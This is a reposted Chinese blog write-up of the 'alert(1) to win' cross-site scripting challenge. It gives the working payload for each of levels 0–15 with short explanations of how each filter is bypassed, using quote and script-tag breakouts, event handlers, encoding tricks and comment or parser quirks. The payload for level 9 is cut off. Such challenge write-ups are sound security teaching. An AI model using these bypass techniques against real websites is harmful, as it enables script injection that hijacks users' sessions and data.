"alert(1) to win" writeup

转载

weixin_30666753 于 2016-06-25 11:24:00 发布 47 收藏
原文链接：http://www.cnblogs.com/renzongxian/p/5617551.html

地址：http://escape.alf.nu/

level 0: 注意补全，`");alert(1)//`

level 1: 通过添加反斜线使用来转义的反斜线变为字符，`\");alert(1)//`
level 2: 双引号，反斜杠都被转义了……没想到办法，就搜了搜，原来可以直接不管双引号而闭合`<script>`标签，可能优先级不同吧，`</script><script>alert(1)//`

level 3: JSON.stringify() 方法可以将任意的 JavaScript 值序列化成 JSON 字符串。，`<a>` 标签的href属性可执行js代码，尝试补全双引号，插入自己的js代码，直接插入会被转义，使用URLencode可绕过，`%22),alert(1)(%22`

level 4: 这个题需要仔细地观察正则式，注意到 " 仅仅替换了一次，`<a>`标签中不能有空白符比较难用，而 `<img>` 标签中的第二个匹配文本允许除换行符以外的任意字符，这个就比较好用了，注意闭合引号就好了，`[[1|2"" onload=alert(1) "]]`

level 5: 这是第4题的升级版，" 全部被替换了，因此第4题的方法行不通了，对"进行编码也行不通，百思不得其解啊，无奈看了看评论，得到解答 `[[1|http://onload='alert(1)']]`，原来是同时利用 `<img>` 标签跟 `<a>` 标签啊！看看输出的源码就会发现，成功绕过了 "！

level 6: 以 # 作为分隔符输入两个参数，如果 # 前面是 `Element` 结果就是创建一个新的节点，具体什么节点由 # 后面指定，而如果 # 前面是 `Comment`，那么 # 后面就变成注释内容，闭合注释符号然后写入自己的代码即可， `Comment#><script>alert(1)</script><!`

level 7: 仍然是以 # 作为分隔符输入两个参数，对第一个参数做正则匹配，注意匹配的字符中包括单引号 '，这是本题的关键，使用单引号和注释符号来隔离 json 字符串中碍事的字符，就可以构造出来了，`'#';alert(1)//`

level 8: 使用 Data URI，插入一个 html 文档，`</script><script src=data:text/html,%61%6c%65%72%74(1)>`

level 9: 其中一个答案

```
"+[][(''+!1)[3]+(''+{})[1]+(''+!0)[1]+(''+!0)[0]][(''+{})[5]+(''+{})[1]+(''+{}[0])[1]+(''+!1)[3]+(''+!0)[
```

不过没看懂，详见http://www.pwntester.com/blog/2014/01/08/escape-alf-nu-xss-challenges-write-ups-part-257/

level 10: 仔细分析代码可知，输入被js加入到`<a>`标签中，但是加入之前做了编码转换，但是没有对输入的\进行编码，因此我们可以利用16进制或8进制编码被过滤的符号来进行注入，其中一个答案是：`\x3cimg src=# onerror=alert(1)\x3e`

level 11: 在 level 2 的基础上加了将输入中的`</script`字符串（忽略大小写）全部替换为空串，但是并没有递归匹配，因此可以构造一个字符串使被替换后剩下的字符串仍然能拼出`</script`，例如：`</scr</scriptipt><script>alert(1)//`

level 12: 跟 level 7 类似，只不过这次过滤的是/，因此要找一种不同的方式来注释掉多余的字符，答案是：`'#';alert(1)<!--`

level 13: 关键是触发

```
tag.onload = function() {
    if (youWon) alert(1);
};
```

答案是`name="youWon"`

level 14: HTML5解析器会将`<!--<script>`到`</script>`之间的任何东西都当作 JS 代码处理，同时要确保代码中还有一个`-->`来防止解析器报语法错误，我们可以注入`if(alert(1)/*<!--<script>`，结果代码就变为

```
var url = "if(alert(1)/*<!--<script>"; // We'll use this later </script>

<!-- for debugging -->
URL: if(alert(1)/*<!--<script>

<!-- then suddenly -->
<script>
if (!/^http:.*/.test(url)) console.log("Bad url: " + url);
else new Image().src = url;
```

level 15: 与 level 14 类似，但是需要自己注入`-->`来闭合标签，答案是：`<!--<script>#)/;alert(1)//-->`，结果代码变为

```
<script>console.log("<!--<script>")</script><script>console.log(")/;alert(1)//-->")</script>
```

`<script>`标签内的代码被解析为

```
console.log("junk_string") < /junk_regexp/ ; alert(1) // -->
```

其中，junk_string:`<!--<script>`，junk_regexp: `script><script>console.log(")`

转载于:https://www.cnblogs.com/renzongxian/p/5617551.html